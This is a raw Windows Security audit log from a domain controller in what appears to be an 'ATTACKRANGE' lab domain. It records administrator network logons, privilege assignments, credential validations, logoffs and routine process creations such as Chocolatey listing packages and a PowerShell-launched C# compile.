	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=246265
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:40:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246264
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:40:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246263
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:40:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=246262
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:40:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=246261
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x93135

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:40:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=246260
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x8D05D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:40:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=246259
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x8D373

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:40:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=246258
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x93135

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:40:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246257
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x93135
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:40:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246256
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:40:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=246255
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:40:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=246254
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x930FC

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:40:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=246253
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x930FC

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:40:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246252
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x930FC
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:40:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246251
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:40:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=246250
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:40:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=246249
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x8EFE6

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:40:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=246248
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x8EB07

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:40:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=246247
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x8D53F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:40:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246291
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x64
	New Process Name:	C:\ProgramData\chocolatey\choco.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x2e4
	Creator Process Name:	C:\ProgramData\chocolatey\bin\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\choco.exe" list --local-only --limit-output --all-versions

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246290
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2e4
	New Process Name:	C:\ProgramData\chocolatey\bin\choco.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc68
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	C:\ProgramData\chocolatey\bin\choco.exe list --local-only --limit-output --all-versions

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246289
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xda0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc64
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES7F0E.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSC19579C94FF044A3A925D65F98BDB2AF.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=246288
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x950E7

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:40:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246287
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x950E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:40:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246286
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:40:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=246285
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:40:44 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246284
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc64
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc68
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\sxrir2ow.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246293
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x260
	New Process Name:	C:\ProgramData\chocolatey\choco.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x890
	Creator Process Name:	C:\ProgramData\chocolatey\bin\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\choco.exe" list --local-only --limit-output --all-versions

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246292
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x890
	New Process Name:	C:\ProgramData\chocolatey\bin\choco.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc68
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	C:\ProgramData\chocolatey\bin\choco.exe list --local-only --limit-output --all-versions

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246295
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

